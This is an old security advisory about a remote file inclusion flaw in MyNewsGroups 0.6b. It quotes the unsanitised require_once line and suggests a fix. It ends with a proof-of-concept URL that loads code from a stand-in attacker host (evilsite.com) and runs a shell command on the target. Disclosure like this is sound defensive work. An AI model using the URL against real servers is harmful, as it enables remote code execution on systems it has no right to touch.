Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:13705
HistoryAug 02, 2006 - 12:00 a.m.

MyNewsGroups <= 0.6b (myng_root) Remote Inclusion Vulnerability

2006-08-0200:00:00
vulners.com
13

±-------------------------------------------------------------------
+

  • MyNewsGroups :) v. 0.6b <= Remote File Inclusion

±-------------------------------------------------------------------
+

±-------------------------------------------------------------------
+

  • Code /lib/tree/layersmenue.inc.php:
  • <?php
  • // PHP Layers Menu 2.3.5 (C) 2001-2003 Marco Pratesi (marco at telug dot
    it)
  • require_once $myng_root."/pear/PEAR.php";

±-------------------------------------------------------------------
+

  • $myng_root is not properly sanitized before being used.
  • The bug is in the "PHP Layers Menu 2.3.5" Package for MyNewsGroups.

±-------------------------------------------------------------------
+

  • Solution:
  • Add this line to your php-file:
  • $myng_root ="bla/bla" //Your root path

±-------------------------------------------------------------------

http://[target]/lib/tree/layersmenu.inc.php?myng_root=http://evilsite.com/P
EAR.php/&cmd=ls
+
±-------------------------------------------------------------------
+

  • Greets:
  • Krini&Lenni

±------------------------[ E O F ]----------------------------------